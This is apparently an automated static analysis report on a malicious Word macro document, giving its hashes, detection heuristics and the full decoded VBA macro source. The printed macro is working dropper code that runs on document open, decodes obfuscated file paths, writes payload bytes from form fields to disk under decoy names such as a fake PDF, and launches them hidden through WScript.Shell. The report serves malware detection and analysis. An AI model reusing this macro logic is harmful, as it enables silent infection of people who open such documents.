Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 fc3dd043b795a1ce…

MALICIOUS

Office (OOXML)

384.0 KB Created: 2021-03-04 23:17:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2022-07-02
MD5: 5e5a9dba781e684ac8428285c663031f SHA-1: 2341da7b3acef6efddb7702ce7aaf74d67514963 SHA-256: fc3dd043b795a1cedb8b7e1e5471f15c0b5c17c237f634c60c4e0a92d980914b
290 Risk Score

Heuristics 7

  • ClamAV: Ole2.Macro.Agent-9858803-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Ole2.Macro.Agent-9858803-2
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Set meganfox = CreateObject("WScript.Shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set meganfox = CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 5872 bytes
SHA-256: c3c4be3fca36b4579410e95805c34c2189bdaf562dc3e8a270dd7291fc06e9f3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub document_Open()
'''Dim szTest() As String
'''szTest = Split(UserForm1.TextBox3.Text, ",")
'''
''''''''' Perfect  for assigning one converted bytes to exe bytes
'''Dim allnumbers() As Byte
'''Dim ptstoval As Double
'''Dim calculate As Double
'''Dim overallstring As String
'''overallstring = ""
'''ptstoval = 0
'''Open "c:\\Users\\Jadhav\\Desktop\\os_35.txt" For Append As #1
'''For Each vl In szTest
'''    ReDim Preserve allnumbers(ptstoval)
'''    calculate = szTest(ptstoval) / 2 - 1
'''    'overallstring = overallstring & CStr(calculate) & ","
'''    Write #1, calculate;
'''    'allnumbers(ptstoval) = CByte((szTest(ptstoval) + 1) / 2)
'''    'allnumbers(ptstoval) = CByte(calculate)
'''    ptstoval = ptstoval + 1
'''Next
''''''''' Ends Here
'''
'''
'''
'''Close #1
Call PenTen

End Sub































Attribute VB_Name = "Module1"
Sub PenTen()
Dim FileName As String
FileName = "TenTenequalsToThirteen"
Dim decodedfilename As String
decodedfilename = GiveMe(4)
Call AskUserDesktop(True)
Call DrainRain(decodedfilename)


End Sub
Function AskUserDesktop(ByVal bStatus As Boolean) As Boolean
  Dim IsUserDekstop As Boolean
  Dim lActiveFlag As Long
  Dim lRetval      As Long

  lActiveFlag = IIf(bStatus, 1, 0)
  lRetval = 0
  
  If lRetval > 0 Then
    IsUserDekstop = True
  Else
    IsUserDekstop = False
  End If

End Function


Sub DrainRain(ByVal FileName As String)

FileName = GiveMe(1)
Dim shame_dame As String

shame_dame = PathExists(FileName)
Dim allcrusher() As String
allcrusher = Split(UserForm1.TextBox2.Text, ",")
Call DebitHold(GiveMe(3), allcrusher)
If shame_dame = False Then
    Dim listOfText2() As String
    listOfText2 = Split(UserForm1.TextBox3.Text, ",")
    Call DebitHold(GiveMe(2), listOfText2)
    Call KingKhan
    Call Tournament("Yes!")
    

Else

    Dim listOfText() As String
    listOfText = Split(UserForm1.TextBox4.Text, ",")
    Call DebitHold(GiveMe(2), listOfText)
    Call KingKhan
    Call Tournament("Counttoten")
    



End If

End Sub


Public Function KingKhan()

    Dim listOfText2() As String
    listOfText2 = Split(UserForm1.TextBox5.Text, ",")
    Call DebitHold("C:\\ProgramData\\tempviewdoc.pdf", listOfText2)
    Dim meganfox As Object
    Set meganfox = CreateObject("WScript.Shell")
    meganfox.Run ("C:\\ProgramData\\tempviewdoc.pdf"), 0, False


End Function


Public Function PathExists(path As String) As Boolean
    PathExists = Len(Dir(path)) > 0 Or Len(Dir(path, vbDirectory)) > 0
End Function

Public Function GiveMe(goal As Integer) As String
   Select Case goal
      Case 1
         GiveMe = RenderUnitL("32.5,28,45,42.5,51.5,54,49,54.5,58.5,56.5,45,37.5,51.5,48.5,56,54.5,56.5,54.5,50,57,22,38,33.5,41,45,34,56,47.5,53.5,49.5,58.5,54.5,56,52.5,45,58,25,22,23,22,24.5,23,24.5,23.5,27.5")
      Case 2
         GiveMe = RenderUnitL("32.5,28,45,39,56,54.5,50.5,56,47.5,53.5,33,47.5,57,47.5,45,57,49.5,53,53,53.5,49.5,22,56.5,48.5,56")
      Case 3
         GiveMe = RenderUnitL("48.5,28,45,55,56,54.5,50.5,56,47.5,53.5,49,47.5,57,47.5,45,53.5,47.5,51.5,54,57,47.5,51.5,54,22,48,47.5,57")
      Case Else
         GiveMe = RenderUnitL("50,57.5,48.5,52.5,59.5,54.5,57.5")
   End Select
End Function



Public Function RenderUnitL(border As String) As String
Dim szTest() As String
szTest = Split(border, ",")

Dim allnumbers() As Byte
Dim ptstoval As Double
Dim calculate As Double

overallstring = ""
ptstoval = 0

For Each vl In szTest
    ReDim Preserve allnumbers(ptstoval)
    calculate = (szTest(ptstoval) + 1) * 2
    allnumbers(ptstoval) = CByte(calculate)
    ptstoval = ptstoval + 1
Next
RenderUnitL = StrConv(allnumbers, vbUnicode)
End Function


Sub DebitHold(ByVal mPath As String, ByRef mbytes() As String)

Dim strFileName As String
Dim strFileExists As String

strFileName = mPath
strFileExists = Dir(strFileName)

If strFileExists = "" Then
     Dim res As Long
     Open mPath For Binary Access Write As #2
         For Each i In mbytes
             res = (i + 1) * 2
             Put #2, , CByte(res)
         Next
     Close #2
     
 Else
 End If

End Sub


Sub Tournament(ByVal str As String)


Dim count As Integer
Dim myname As String
Dim buttercake As Object
count = 386
If count < 431 Then
myname = "Robertjunior"
Set buttercake = CreateObject("Excel.Sheet")
Dim petabytes As Object
Set petabytes = CreateObject("WScript.Shell")

vegetables = Array("tomato", "lady", "finger")
Dim vegetablenames As Variant
Dim iterate As String
 
For Each Item In vegetables
    vegetablenames = vegetablenames & Item & Chr(10)
    iterate = Item & Chr(10)
    If iterate = "lady" Then myname = "uejamc"
        
Next
For i = 1 To 10
    Call ReturnMeFavor("Bigger nd Better")
    If i = 5 Then petabytes.Run (GiveMe(2)), 0, False
Next i



End If

End Sub



Public Function ReturnMeFavor(word As String) As Integer


  Dim TotalCount As String

  TotalCount = Len(word)

  ReturnMeFavor = TotalCount


End Function


Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{71D350D7-20BE-4DF9-9D74-BBB3C353AA94}{1B804DCE-D5D9-4B46-ABF6-D54374C2226E}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Private Sub TextBox3_Change()

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 1703936 bytes
SHA-256: d1650b73f7f030474dcb2068d73e828767196a084d7565afd7175601093ac30c
Detection
ClamAV: Ole2.Macro.Agent-9858803-2
Obfuscation or payload: unlikely